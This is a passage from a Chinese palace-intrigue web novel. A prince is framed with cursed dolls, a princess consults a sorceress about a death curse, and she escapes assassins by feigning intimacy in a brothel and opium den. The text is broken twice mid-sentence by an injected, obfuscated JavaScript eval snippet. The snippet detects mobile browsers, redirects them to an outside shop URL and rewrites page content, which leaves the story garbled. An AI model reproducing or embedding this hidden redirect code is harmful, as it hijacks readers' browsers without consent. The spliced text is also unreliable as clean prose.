触及自己的目光,他的视线似是被这黑暗中的烛火舔到了,痛得连忙要逃,可他恋恋不舍,便是再痛还是三步一回头般地不舍,就是想看着自己,似是想透过自己去看一些早已随风远逝的故影。 “殿下的小名是种飞禽。” 鹇儿,汝可上触得青天…… 这是大哥写给公主嫂嫂的信笺,如今仍存在曾经兖国公主府的正房。 收拾兄嫂遗物时被他发现。 一封来不及被心念之人拆封的不寄之信。 “而另一只人偶身上写的,就是我大哥的生辰。” 他们是被一个人、一群人恨透的三个人。 如果不是嫁祸东宫,那就是真的想要这三人永世折磨。 可他的兄嫂已经走了这么多年了! 这是一种怎样的仇恨?在他们死后的第三十个年头里,仍然日夜追泣着要让他们上天入地难寻安宁。 郇翾吐出一口气,“他们都是元良郡王府的恩人。” 不论是谋害陈王、诅咒国主,抑或者嫁祸东宫、肖想神器,这些都是元良郡王满门上下不能担也担不了的重罪。 “琢明想见一面元良,被陛下拒绝了。” 设了这样阴毒的套要缢死元良,问问元良他那些罕为人言的仇家、问问升平前朝那些鲜为人知的仇怨,这确实是破局的必要之法。 张八郎讷讷问:“陛下应该也不信,元良郡王会加害于他、恩将仇报吧?那为何不让见呢?” 张永一即刻见郇翾眼中流出一痕痛惜。 他顿时毛骨悚然。 因为陛下信啊! 所以他不允相见呐! 所以张玫柔早就委婉透露了郇翾的猜测,那便是陛下会逼着冉琢明闭嘴,逼着元良郡王将莫须有之罪咽下,今日见过了首辅,更见过了三司,郇翾的猜想更成了现实。 郇翾不知该如何开口,郇渰替父解释:“昨日宫中发现符咒,陛下即刻命锦麟卫出城查封郡王府,期间令阴阳卫协查,又叫魏指挥使承了手谕去刑部调人,恰好在刑部遇上了首辅冉大人。陛下手谕绕过内阁,就是中旨,这是多少年间头一次,冉大人为陛下千秋名记,十分生气此番任性妄为,而魏指挥使依仗陛下手谕,气焰逼人,禁地奔驰,更大破宫规。” 这些都是昨天中午张永一亲眼所见的。 “冉大人为了君父圣名,不允调兵,一定要魏指挥使行文发往内阁落了批朱方才答应。是故,魏指挥使即刻请墨,在刑部当场写了文书,又叫了对门当值的都御史,迫使冉大人批朱盖印——” 郇翾打断道:“琢明此举也是为了防止小人撺掇君卫一手遮天,过了法司明路,他能亲眼盯着,以防胁迫污蔑、蒙蔽圣听。” 但郇翾的神色,明显是赞同儿子所说的“迫使”二字。 魏俊秋能不知道早上的冉琢明必在刑部而非内阁?他敢大摇大摆地去刑部要人,便是早就料到了冉琢明不能也不敢贸然驳斥陛下的手谕,只能用繁琐的流程绊住他们的脚步。但都御史在前,他冉琢明敢公然拖扯,即便察院、六科里都是他的门生,也架不住所谓正气公心在上,他必要吃百官弹劾,弹劾还会铺天盖地将他吃进肚。 因为陛下很生气。 他是首辅,但说到底不过一个给皇帝打文工的臣子,与魏俊秋等鞍前马后打武工的臣子也没有不同。 在永济帝眼里,他们这些文臣武官从无高低贵贱,高贵的是顺服自己的顺臣,低贱的只能是反逆自己的逆贼。 摆不正自己的位子,就是死。 大楚不是大宋,没有不杀文臣的祖宗条例。 将来也不会有。 这就是大楚朝廷里最风光的首辅大人身上,最可悲可叹之处。 ** “王兄!仪臣!” 元良正指着庭院里一枝矮苗和长子沈仪臣说着种养要义,正说着此地启新殿在升平年间的植物光景,不妨听见坍圻花墙后有人在叫他们。他仰头寻了一圈,却是沈仪臣眼神敏锐,指着那积雪后一丛枯枝间惊讶道:“长平姑姑!” 果然是沈磐,扒了件内监的衣裳,戴着帽,窝着身藏在那里。 元良赶忙走过去,“你怎么来了?你不能来这儿……” 沈磐挤在这说大不大、说小又恰好能挤下她左手旁半边身子的墙缝,轻轻拉了几下堵在缝前的枯枝,急切问:“王兄,你们还好吗?” 元良叹气,忧心不已,握住沈磐伸过来的手,只觉得沈磐的热血顺着她的手也流了过来,“好,一切都还好,仪明他……” “在东宫,他很好,王兄不要担心——对了王兄,他们在郡王府挖出了三只人偶,嫁祸你行巫蛊,写的是陛下的生辰,有一个不知道,还有某年十月二十五,你可有什么头绪?可有什么人要害你?” “竟是这样……”元良神情恍惚。 “竟是怎样?” “我从没想过告密……”他喃喃自语,又见沈磐心焦神灼,连忙道:“那天夜宴在畅春园……” 沈磐刚要说我知道,想直接问那三个人的身份,就忽然听得背后一阵兵戈脚步,自己还撑着墙壁的右手就那么被人拽住,右臂被拉脱臼的瞬间,她整个人也被扯回了雪地上。 墙内的沈仪臣连忙捂住自己要尖叫出声的嘴。 元良低头看着空空的手掌,蓦然一阵惊悚爬上背脊,就听墙外一声闷响,即刻有羽林卫吼道:“哪宫的奴才!” 沈磐痛得眼泪直冒,撑着身体抬头,就见迎着光羽林卫的长矛已经架在了她的脖子上,而几个羽林卫中站着的那个锦麟卫佥事冷哼着发号施令:“死罪,处置了就是。” 羽林卫不动,佥事背后两个锦麟卫走了过来。 “你们敢碰我!” 那个佥事一眯眼,一个羽林卫惊讶道:“长平公主?” “原来还认得我。” 羽林卫即刻挪开了长矛。 锦麟卫佥事拉下脸,给地上的沈磐行过一礼,“公主殿下为何会在此?陛下严令不许任何人探见罪臣。” 沈磐扬眉,“你管得着?” 她挣扎着起来,两边羽林卫和锦麟卫面面相觑不敢动作,目送着她疼得轻嘶,在雪地里一脚深一脚浅地往东边走。 就差那么一点。 沈磐脸上的热泪被寒风一吹,疼得像拉着刀片。 真是畅春园那夜的密谋。 可就差那么一点。 元良应该知道他们是谁吧?他现在被关在宫里,是最危险的地方也是最安全的地方,他们难道不怕见了陛下,元良会将他们的密谋抖落得一干二净? 难道他们有把握元良认不出他们? 还是他们笃定了死到临头的元良不会说? 那为什么还要痛下杀手! 晋国公主沈碧站在东风亭前等着自己。 她端庄得像供桌香案上的一朵花。 她们姐妹并不亲厚,但看见沈碧,沈磐心里突然就腾起了一阵憋屈和恐惧,直催着她扑进姐姐的怀里。 这该是多么馨香可靠的怀抱。 可她在距离沈碧两步远的地方停下。 沈碧见她傻愣愣站着不动,只能主动上前,抖落挂在臂弯的披风给她围上,“走吧, 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“因为儿子能弑父而代,女儿只能仰其鼻息,他是皇帝,更是风光了大半辈子的皇帝,最不能忍受的就是有人胆敢挑战他的权威。你的所作所为,不过是蚍蜉撼树、微不足道的,他根本看不上,但元良不一样,在宗庙里、人心间,和他的那些儿子没什么大的区别。” 瞬息,沈磐转过脸,一言不发地跟着她往东宫走。 ** “怎么划了这么多口子?”太子扫一眼,就被沈磐手背胳膊上的树枝划痕惊得心忧。 沈磐一声不吭,只低着头看着沈碧沾着酒给她擦手。 “胳膊还被羽林卫扯脱臼了。” “啊?”太子微讶,又听沈碧淡淡叙述:“现在已经接上了。” 太子妃薛元映理着太子披风上的雪水,“磐磐此举,是拿自己去冒险了。” 沈磐低声道:“王兄刚要说起岁末宫宴……仪明曾和我说过,他听见了三人密谋,说死了人,‘他’要担干系,‘他’只能上他们的贼船云云,一个叫另一个四爷,一个长得慈眉善目声音却难听得像刀割铁链——” 太子叹气:“名单我会去要的。” 沈磐噤声。 太子:“这些我都能办,现在最重要的是你,磐磐。” 太子妃道:“因为和魏俊秋恶交,陛下已然关了你的禁闭,现在又被抓了现形,他们伤到了你,未必会声张此事,但宫里的眼线千千万……” “父皇正在生气,宫里便是最不安全的地方。”说着,沈碧收了东西,站起身,“不如让她跟着我,跟我出宫。” 太子和太子妃俱是一愣。 沈磐撇过脸:“你家里那么事、那么多人,别平白牵扯他们的好。” 沈碧没搭理,继续对着太子夫妇道:“父皇要怪罪她,也不会罚上加罚了。” 沈磐莫名其妙生了股气,“父皇最疼爱你,但我做的事是明明白白的抗旨,就算他想当慈父、他再疼你也不会容忍的!” “会的。” 沈碧神色仍然淡淡,话却说得坚定似铁。 太子和太子妃不作声。 “元良一家出事,如果你也出事,你让沈斫怎么办?” 沈磐一怔,即刻反应过来,恶狠狠冲沈碧道:“不准给他送信!” 太子连忙挥手以示诚恳,“好好好,绝对不让他知道。” 沈碧端详她,“你若不配合,事情闹大了,他想不知道都难。” 太子妃轻轻扯扯沈碧的袖子,沈碧却不管,只盯着沈磐看,“现在是一人做事万人当,在宫里你只会关心则乱,倒不如出宫冷静冷静帮点忙。” 果然,沈磐眼神一亮。 “可是仪明……” 太子妃笑道:“有我呢,他和璩儿、玥儿玩得好,断然不会有事的。” 见沈磐将要松口,太子道:“从郡王府搜出来的人偶符咒都压在锦麟卫手上,我打算去找冉大人,以‘三司会审’的名义将东西送到刑部看管。他们不是说这人偶上别有玄机?宫里必然是找不到下落的——” “我去宫外找。” 沈碧将沈磐按了回去,睨她一眼,“你怎么找?” “先查化隆城里的巫师,去问这种厌胜术的源头。” 太子妃道:“宫里不是有个现成的吗?不若先查他?” 沈磐:“太医施汜?” 太子摇头:“早查过他了,身世很普通,长安废都的孤儿,从小跟着药铺掌柜研习医术,有了出息就到太医院找出路,着实看不出什么端倪。” “没有端倪才是最大的端倪,陛下久病不愈,他怎么就想到了巫蛊上?怎么就这么顺利查到了元良?且孙太医走后,就是他前后伺候,陛下的病突然加重,说不定就是他的阴谋!” 太子略一思忖,“他擅长的就是这个——磐磐,这件事你也别管,你就好好跟着你大姐,一有收获我就会去信告知你。” “那我岂不是又——” 沈碧抢白:“你呆在宫外,东宫就有理由常与宫外消息往来。” 沈磐只能顺从。 15. 第十五章 独丧人(五) 隔日过午,会审还未散去,沈碧在启明门外等得厌烦,遂进了宫。 她刚过启明门,就看见东直门甬道上围着往日难见的人墙,各色衙司、各种服色皆有,堵在刑部门前是锦麟卫,都察院的御史搬了板凳坐在阶下,还有宗人府的、大理寺的,一层层地排了下来,围到城门广场上的便是隔壁五部看热闹的闲人。 沈碧也被挡在最外围。 她定下心少等,不一会儿,刑部的黑漆大门内终于传来了响动,一顶素布小轿被四个羽林卫抬了出来,阶下的锦麟卫立即围了上去。 “这怎还被抬回内宫了?不该直接下刑部狱吗?” “看来今天的三司没审出什么结果。” “这就奇怪了。” 沈碧听得心烦,一瞥眼见西边的巷道里木头桩子似的扎着几个五六品的武官,都伸长了脖子往东直门甬道上看。贼眉鼠眼并着歪瓜裂枣,一晃而过有个长得甚为端正的,沈碧只当自己是眼花了。 “殿下!” 沈碧回神,就见自己的夫君郇渰挤着将要风流云散的人群匆匆跑了过来,脸色奇差,声音倒还温和,“殿下怎么亲自来了?家里出事了?” “家里没事,元良这是怎么了?” 郇渰拉着她往宫外走,“今日暂罢,要定三日后再审。” “三司阁臣也认为元良是无辜的了?” 郇渰摇头叹气:“不容乐观。” 上了自家马车,他才继续道:“最后一只指向不明的人偶是用一张手帕包裹的,很有年头,都是十几年、几十年的旧物,独独那手帕上绣了一个‘檀’字,郡王妃名讳里正有一个‘檀’,而先前两只人偶都是在郡王妃牌位下找到的,这真的说也说不清。” “这怎么说不清?要咒人怎么会包上自己的物件?” “所以,这是邪术啊。有人说就因为包了这手帕,折了郡王妃的阳寿,郡王妃这才早早病逝。再有,郡王这些年遍游南地,确也去过西南,那些地方巫蛊泛滥,郡王会认识巫师、抑或者自己习得巫术,这就有了猜测。” 沈碧蹙眉,“为何是西南?” 郇渰:“唉,他们这是起了怀疑头,便搜罗天下事去给怀疑搭身子,只要他们能自圆其说,陛下就会信。” 沈碧听出了他话中暗示。 就算不能自圆其说,元良沦落三司会审,用外人来审自家人,陛下早就信了。 “对了,那只与大伯生辰相同的人偶可有了定论?” 说到这个,郇渰冒了冷汗:“有人说,那是绝生人咒。” ** “绝生人咒?” 沈磐拢了披风、按了按脸上的面具,更贴着破桌往这老师婆处凑了凑,听她缺缝的大牙里“刺溜刺溜”地漏风:“绝生绝生,自然是断绝阳生,在人偶上写下年月,施以咒术,若一切妥当,被施咒的人便会在你定下的时日断气,左右不会差上五日。” 师婆的五根手指头都染着锅底黑,这么突然地往沈磐脸上一推,吓得她一蹦而起。 见这跳脱的姑娘胆子倒小,师婆笑得阴恻恻。 沈磐重又坐下来,“那可否定个现在,让那个人立刻就死?” 听她问得天真任性,师婆笑得阴森:“当然可以,只是祭日定得越近,对施咒人的要求越高,定得远些倒比较容易,就是会出些变故。” “那你建议,定个多久?” “三年吧。” 沈磐皱眉,故意不悦道:“这么久?” “这是最好的年限了。” 沈磐假意盘算起来,不妨看见师婆滴溜溜的眼珠像是一坨痰粘在自己身上,心里还是止不住地犯恶心。 “也罢也罢,久些也免人怀疑。” “是这个理。”师婆点头,一缕缕冰在一起的银发狂舞起来。 沈磐嘀咕着:“三年的话,我也勉强等得起,毕竟这么好的男人天下难寻,我若不把他身边的莺莺燕燕打发干净,将来得过三十年的苦日子,不划算不划算……” 一瞥师婆胸有成竹的神色,沈磐念叨着自己编纂的谎话,又敲敲桌板,“那要多少?” “不多。”师婆又张开了握过煤球的手。 “五金?” 师婆不语,眼露期待。 “五十金?” “五百金!” 听沈磐的语气越发暴躁,师婆道:“是五样东西。” 沈磐略松一口气,“哪五样?” “与你那相中的郎君定婚的小姐的生辰年月,加上双塔寺的下元符箓……” “要八字?我弄不来,弄得来我直接扎小人了……” “哎呀——”师婆甚为惋惜,“没有八字可怎么办?找错人了那就遭了。” 她眼珠一转,又笑起来:“也有办法,不过,就是麻烦些。” “快说快说。” 破落小摊外起了一阵阴风,师婆牙缝里的邪风更加呼啸。 “此人诞生于某年某月某日,这可知道吧?” “这个自然可以。” “符箓也是要的,但就要三张了,依次是上元、中元和下元的符箓。” 沈磐略略思忖:“只要用钱能买到,就不是问题。” 师婆“呵呵”笑了:“木头人偶也要三只,最好是槐木的。” “还有呢?” “你至亲的牌位一架。” 沈磐心一沉脸一拉嗓音更一压:“至亲?” 师婆连忙补充:“也不必有血缘,若有血缘那更好了,只肖是你最亲近的人。” “祖辈的可算?” “当然啦。”师婆听着沈磐不似生气,便继续道:“不过,他得留下了一些东西,比如字迹啊、衣物啊。” “还有吗?” “啊——”师婆回忆,“没有八字,你懂的,一天十二个时辰,出生之人不知凡几,最容易闹乌龙了,所以啊,你还要弄到这位小姐一些血亲的生辰,最好是至亲,再用黄纸朱砂写了这人的姓名,和人偶放在一起,用牌位主人的旧物包裹起来——哎呀,我说多了。” 沈磐即刻摸出一锭金推了过去。 金锭摩擦旧木,当真是世界上最美妙的声音。 师婆笑着说:“然后啊,将东西埋起来,也未必需要动土,若有仓房库房的也好,只要用东西把他埋起来就好。哦别忘了,记得用针扎断血脉,不然,他找上贵客,那可就是惨事了。” “方才要了牌位,这又是要干什么?” “另两只人偶呐,当然要一起压在牌位下,常常受香火祭拜,以免——” 突然,身后一阵裂响,沈磐一回头就看见有人挥舞着长刀冲了进来。门口的招牌已经碎成了渣渣,这简易的凉棚四角支柱折了一根,顶上茅草掺着旧雪一齐哗啦啦地洒下来。 沈磐即刻要走,一转身发现那老师婆已经蹿没了影,再定睛一看,她居然像只没骨头的泥鳅钻进了后堂口的狗洞里,正扒拉着洞边的草杆要绝自己的去路。 “老虔婆!” 沈磐气极,抄起手边师婆装神弄鬼的龟甲草签就朝来人掷去,那龟甲又硬又重,对上杀人不眨眼的长刀,还能蹭出一片火花,被劈落地时直接把门口的一盆鼻涕邋遢的野花儿砸个稀烂。 砸场子的人又追了上来。 沈磐目测着自己是钻不过那一合手的狗洞,只能抡起架上的瓶瓶罐罐朝那个杀红了眼的人砸去。 不知哪个罐子里装了些什么毒死人不偿命的玩意,那一滩泔水似的东西一沾上人的皮肉,便风吹似地掀起了一片火毯。 那个人尖叫起来,刀一脱手,便砍上了他自己的脚背。 血花四溅,一时间惨叫连连。 他的皮肉都被烧化了,滴流到地上,“嘶”的一声冻成了泥巴。 沈磐跳着脚,不让自己踩到他的东西,就见这人没头苍蝇般地乱撞,最后一头撞上了支撑摊子的那根梁柱,只见扑簌簌的灰尘洒下,远天长风一掀,这早就该见鬼的屋顶、连着梁下挂着的稀奇古怪的甲壳全都翻了个底朝天。 沈磐的帷帽也被吹翻了。 她按着脸上的獠牙面具,要将着碍眼的面具也解下来,忽然迎面寒光一闪,她来不及躲,只仰身要避开那淬着杀意的刀刃,脸上的面具便在刀锋过后七零八碎地砸到了雪地上。 沈磐也被这股大力掀倒在地,手掌一撑,挣扎着要从满地狼藉里爬起,也觉不出痛,她刚麻溜地爬起要往大路上飞奔,低头就见自己左手鲜血淋漓,翻起的血肉中还嵌着不少碎片。 她这才感到了痛。 手掌就像从正中截断一般要痛得她泪花肆虐。 但她怕死啊,这点痛又算得了什么。 沈磐腿软,却还是发疯似地往前跑。 长缨卫便装都守在巷口,她这是南辕北辙,但她想要折返也没办法,只求他们那里还没出事,听见了这样的动静能赶来解救自己。 沈磐不敢回头看。 后面是洪水猛兽。 两边的铺面小摊里静悄悄。 可是前面? 沈磐被迫勒足。 巷尾已经站上了一个凶神恶煞的彪形大汉,他肩上扛着的那把斧头才饱饮了人血。 沈磐下意识地一退,一退便险些踩上一滩血,血泊中倒映出背后那个舞着刀疾速飞来的杀手。 血是从左边的铺面里流出来的,一只断手还夹在门板上,老鼠叼着一块血淋淋的东西从梁上穿过。 右边是一家匆匆关门谢客的明器店。 沈磐心中恶寒。 ** 张永一跟着史可平等在西门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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师婆一抬头,与义然大眼瞪小眼,云淡风轻地踮着脚尖,踩水似地拐了个弯跑没了影。 那排房里爆出惨叫来。 张永一即刻拔了怀中匕首,与义然一并攀上了房檐,走着破瓦踩着枯脊,只往那鬼蜮般的灾难场去。 义然瞧着四周方位,骇然起来:“刚刚那个不会就是——” 他话还没说完,张永一就飞也似的跳了下去,他一愣,睁大眼睛一看,被一前一后两个杀手堵在巷尾的那个姑娘,不是长平公主是谁? 张永一来得巧,匕首贯着那杀手的掌管将他钉到了巷边柱上,他落地刚好夺了刀,顺势往他腿上一砍,那人一拔出钉入经脉的匕首就摔倒在地。 沈磐看不清身后的状况,只觉手上被人一拽,整个人就被一股力气拉往一人行堪堪错身的蚂蚁道里。 “张永一?” “是我。” 蚁道连通两条小巷,那彪形大汉挤不进来只能绕路。 张永一对这里的地形不熟,正盘算着如何出巷,就见那大汉如神兵天降,眨眼就出现在跟前,连喘都不带喘的。 他脑子一懵,踩上边上长得稀奇古怪的小贩拖着的桐木推车,又踹上那看着还算结实的立柱,卡着沈磐的腰一同飞上屋檐。 这屋顶小啊! 沈磐轻呼了一声,张永一连忙将人搂上怀里,一扫沈磐脚下,那片瓦就这样被踩碎了。 彪形大汉似也要上瓦。 张永一干脆将沈磐扛上了肩,沿着排房的走向飞奔起来,不想真踩烂了好几家的房顶。 他心里觉得怪不好意思的。 但逃命要紧,那彪形大汉没给他道歉的时间,爬着一家二层高不知用作什么生意的铺面就上了房顶,张永一回眸一瞥他脚下,站的就是他们方才的地方,不禁为之惋惜。 果不其然,那大汉还没站定,一只脚就塌了下去。 轰然一声,那片屋顶也随之坍陷,惊起屋内一整片男女尖叫。 张永一最后踩着窄巷的屋瓦,飞身一跃落入一条深巷。 沈磐已经被颠得眼冒金星,刚被张永一放下,就又被他拉着胳膊,漂移般拐进了蚁道。 张永一着实没有想到,这满街上随便几个人里都藏着相互接应的杀手。 他们也着实来错了地方,这条巷简直是人挤人,而那杀手转瞬提刀又追到了附近。 人多的好处就是,杀手一时半会儿也找不到他们。 人多的坏处就是,他们两个如不系之舟就这么稀里糊涂地被推进了一家店。 大堂酒客满座,丝竹爆炸,金发碧眼的胡姬袒胸露乳,赤脚从这桌跳到那桌,飞旋的薄纱裙摆轻飘飘扫过每一个醉醺醺的酒鬼通红的脸。 满天烟雾缭绕,不知烧了什么东西。 沈磐皱了皱鼻子。 一楼一览无余,张永一只能拉着沈磐挤上楼。不妨刚上了二楼,迎面就是一个涂脂抹粉的女人的裸体。 16. 第十六章 独丧人(六) 张永一别过脸,却被迫见廊道上跌跌撞撞跑来一个老头,身上被抓得破破烂烂,红疮长了满身,一手斟着根杆秤般的烟斗,一手五指扭曲着抓向那个笑嘻嘻娇声连喘的女人。 他连忙拉着沈磐继续往里走。 两耳都是各种白日宣淫、不合周礼的响动。 这些门板薄薄一层,关和开没有两样,甚至上面结着污点的油纸都破了干净,里头人抵在门上,尖尖的手指从窟窿眼里扣了出来,像是流涎的饿兽迫不及待。 张永一恨不得塞住耳朵闭上眼,但他还记得自己与沈磐是在逃命。 这一记,他便记起,沈磐的胳膊还在自己手里。 他的手掌就像被火燎了遍。 各处都亮着灯,沈磐一眼就见一楼门口露出了一个头,是那个凸眼珠四处搜罗的杀手。她心一慌,连忙推着张永一随便挤进了一间房。 房内烟雾缭绕,像是大冬天烧了最次的烟炭。 沈磐差点呛出声,她自己死死捂住嘴巴,忍着喉咙里的瘙痒,跟着张永一沿着墙壁慢慢地辨析屋内人物。 这是一间长条形的屋子,中间是三张拼起来的横榻,榻边点了火盆,五六个不知是男是女的人都窝在上面呻吟不断,鬼哭狼嚎得像马上就要断气的短命鬼,全然没有注意到这里又来了两个不速之客。 这里这么大的烟,必然要开窗通风,不然这些个瘾君子绝对要憋死。 想到这,张永一屏着呼吸,拉着沈磐,顺着头顶烟雾翕忽盘旋的方向继续向深处走。 往里便没有点灯了,火盆的热也播撒不到这里,隆冬的阴寒潮湿便自立为王。烟雾已经融入黑暗,但阴寒里还架了一张床,凭着微弱的一点光,在这雾蒙蒙的虚空里,他们突然看见三颗如麻花交缠在一起的人头,黑的是枯发,红的是颓脸,但白花花赤条条的,哪条腿、哪只胳膊是哪个人的人根本分不清,甚至于滚在地上挤毛巾似的人团究竟是三人还是五人,这也不清楚。 其中一人抬起脸,充血的眼睛里投出的视线飘忽不定,可就像闻见血的饿狼,他即刻锁定了沈磐。 像是被踩住尾巴的猎物一样,沈磐后背一凉,即刻往张永一背后躲去,却见此人像是瞎了般,翻了眼睛又纠缠回去。 沈磐心跳个不停,下意识地去看张永一。他还一边握着自己的胳膊,另一边还在摸索着找窗户。 他们离得分外近,但和地上那些人比起来,他们又格外远。 她顿时又出了身汗。 屋里很闷很热。 这床架子上的纱幔都碎得零落,随着床角的动静,在烟雾中跳着欲生欲死的舞。墙壁的隔音很差,屋外一阵格外急切的脚步在侵蚀一切的旖旎散漫里分外清晰。 也正此时,张永一摸到了暗窗,一丝凉意与金黄色的光从缝隙里漏了进来。 隔壁房间里一阵鸡飞狗跳,男男女女捡了最脏最凶却毫无杀伤力的字眼骂着贸然闯入的十三点。 张永一松开了沈磐,弯下腰要仔细研究这窗户铁打的卡扣。上面似是生了锈,粘在一起,稍稍一推便是一声响。 在这悉悉索索有些安静的屋子里,这声响简直是电闪雷鸣。 床边的人更快活地叫喊起来。 门也被推开了。 那群弱不禁风的瘾君子哼哼唧唧地骂了起来。 张永一攥上藏在披风中的刀,沈磐却按住了他的手,拽着他的领子将两人对调了个方向,自己背靠上了暗窗。 只听得那脚步声沿着他们来时的路,一点点响亮。 床边的人“哥哥”“嫂嫂”“奶奶”“天爷”地各自乱叫。 敌众我寡,还沦陷入这样局促的境地,沈磐已经无法思考。 她颤着手,一把扯下了自己的披风,又扒开自己的上衫,在张永一反应过来前,将他的脸按到自己暴露在烟雾里的脖颈上。 这是一脉不同于任何气味的清香,一如初见于宁远门外的雪地里,她稍稍一抬手,便放出袖子里私藏的千万个春天。 张永一僵结的思绪终于活络起来,连忙也解开自己的披风盖到刀上,学着沈磐松开了自己的上衣。 可他们的手在腰间打架。 沈磐不知在扯谁的腰带,张永一却不允许。 他的手不知撞到了什么,沈磐吃痛,轻哼了一声,霎时间满脸通红。 他们身边就是最好的范例。 意识到接下来将要模仿什么,张永一的手又僵在了半空。 沈磐顺势扯松了腰带,即刻,她上半身的衣裳都松垮垮的堆了下来,滑到了自己手腕、张永一手边。 这里很暗,但沈磐白得发光。 张永一错开视线,只专心听那杀手的脚步。 沈磐的手攀上他的后背,拽着他的后领往下拉,又在此时,她踮起脚扎向他松散的领口,又按着他的脑袋往自己心口去。 这便看不见他们两个人的脸。 张永一想着,鼻尖蹭上了她的肌肤,然后是脸颊,然后是嘴唇。 祖母曾有一柄羊脂玉的如意,摸上去要凉一些。 张永一耳朵滚烫。 而沈磐的脸又红了。 她能感受到张永一温濡的呼吸,而这烟雾弥漫惊险四溢之中,这衣冠包裹下的身体更烫得可怕。 更让两个人成为上屉螃蟹的是,张永一的脸颊微微一动,沈磐便捏着嗓子轻轻叫了一声。 床边传来了最后的咆哮,床架也被推得“咯吱”作响。 他们呼吸本就十分急促,一听那脚步声突然停了,心鼓擂得更加喧嚣。 男男女女、不男不女都在叫了。 沈磐心一横,推着张永一的头往自己脖子上走。她手下没轻没重的,几乎是按着张永一的脸,温热的触感让她浑身一颤,她又咬牙拉着张永一僵硬不愿配合又不曾握刀的右手,往自己腰间探去。 其实这里已经没有一件衣裳,他的手一碰到自己的腰,沈磐就成了熟透的柿子。 他的掌心也贴了上来。 和指腹一样有些粗糙。 张永一攥紧了左手刀。 沈磐破罐子破摔地喘了起来。 她学得有些拙劣,一声比一声促,一声比一声硬,一点蛊惑的极乐意也没有,像是被人拿着刀胁迫的一样,有些痛苦。 可这些声音落在张永一耳朵里,已足够让他不可遏制地绷紧身子。 他的呼吸也不经意粗重起来。 但是沈磐这个家伙,居然因为自己的表演不到火候,竟然按着他的手继续往下推。 还好衣物是整齐的。 但隔着柿子皮一样薄薄的衣物,他们都能感受到彼此不可忽视的存在。 好似找到了一些感觉。 脚步声又响了起来,床边却逐渐消停。 沈磐连忙松手,抱紧了张永一的腰背。 张永一闷哼一声,落在沈磐腰间的手不可抑制地抖了起来。 脚步声好似就在边上静静观看。 他们似都面临着生死抉择,现在一咬牙全豁了出去。 他支手托起了沈磐,将她抵在了暗窗的隔板上。 她似是笑了,口不对心地学着别人嗔怪:“别急啊。” 她很着急。 那杀手就在边上。 张永一作势要掀开她的裙摆,沈磐缠上他身体。 他们贴得这么近,张永一的嘴唇早已吻在了她的锁骨肩头,手指也早已摩挲过她的腰肢;沈磐也早已拨开他的领子,摸到了他背上一道道骇人的伤疤。 他们都能感觉到彼此的变化。 他们都喘息起来。 好似成了真。 那脚步声顿了顿,终于开始往回走。 危机将要解除,他们的呼吸倒更乱了。 门又开合,房外响起了脚步,床上应声又炸开了锅。 翻天覆地,天翻地覆。 张永一放下沈磐,他们两个人面对面站了,尚且不敢收拾仪容,都闭着眼各自平复着呼吸。 突然,张永一身后传来一句嘲笑:“大兄弟,你不行啊。” 两个人都是一个激灵。 张永一遮着沈磐,也不回头,只迅速地给自己、给沈磐整理衣裳,随即暴力撬开暗窗的搭扣,推了一线缝探查片刻,便又合起了漏风的窗。 外面已经黑了。 等沈磐给他们两个人都系好了衣带,张永一这才一手提刀、一手抱着沈磐踏上窗台。临走前他偏头扫了一眼,就见扶着床架正肆无忌惮撩拨架子上缠着的姑娘的男人,正赤红着眼睛要伸头看他怀里的沈磐。 沈磐不知他在看什么,刚要抬头,就听他哑着嗓子说:“别看。” 随即,窗板一弹,风雪一卷,人影一闪,屋里只剩下鸳鸯们“嗷嗷”的嚎叫。 ** 马车已悠悠驶上通往襄阳侯府的大路。 张永一和沈磐沉默地坐着。 长缨卫被刺客打散,这一队人也损失惨重,好在侯府来了接应,他们又在巷子口找到了义然。 外头天已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906314|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经黑成了墨缸中的水。 张永一本要拒绝沈磐同乘的美意,但沈磐不容拒绝。 “你为什么来牛马巷?” “有个巫师——” “来查绝生人咒?”她虽在问,却是笃定的语气。 见张永一愣过后点头,沈磐便将那老师婆的事情都说了出来,“只有一点不同,十月二十五的那只人偶应该附有主人的姓名。” “模糊年份如果是刻意为之?” 沈磐点头:“如果真是这样,那就不会有姓名,但为了防止认错,施咒者又放了两根羽毛。陈王无论如何也与飞禽之羽扯不上关系,而人偶的主人是陛下的至亲,至亲之中独独辅国长公主的小名叫作‘鹇儿’,白鹇之鹇,正是飞禽!” 张永一沉默。 “于是这便与陈王没有任何关系,这就不是党争——” “那为何是两根红、蓝羽毛?” 沈磐望着他,分明看不清他的神色,可沈磐就是觉得,他心里并不希望是这个结果。 “不论如何,东宫都不会坐视不管。” 张永一一愣,沈磐这么坦然地说出心里的深忧,他有些惭愧自己的自私和狭隘,便开口岔开道:“元良郡王幼年时曾有两只鹦鹉为伴,一只叫‘红胜火’,一只叫‘绿如蓝’,一红一蓝,与他们的毛色相同。” “这种事情很少有人知情吧?” “嗯。” 沈磐叹道:“那就是知道一点的故人了。” 她的话冷幽幽的:“加上一点,故人就是敌人。” 她又自问:“其实还有一点,为什么要是三十三年的十一月十五呢?这是辅国长公主驸马的生辰,可又是定下的祭日——或许这根本不是什么绝生人咒,就是简单的厌胜呢?但她们夫妻很早就去世了,那时的元良才多大了……” 她似有些丧气,张永一想说些话哄她高兴,可这个念头一冒出脑海,他顿时退怯。 他连看都不敢看她。 沈磐忽然精神道:“是啊,模糊年份的目的是什么?不就是要乱人视听吗?不论是陈王还是长公主,这些都是皇帝的血亲……无论是何种面目,是只想对付皇帝,还是一气诅咒了三个人,这些都会引起瞎想,虚虚实实,牵扯上东宫,这就真真假假——他本来就喜欢陈王,出了这些事情,我二哥必然会忤逆他的冷血,这样他就更不喜欢东宫了……” 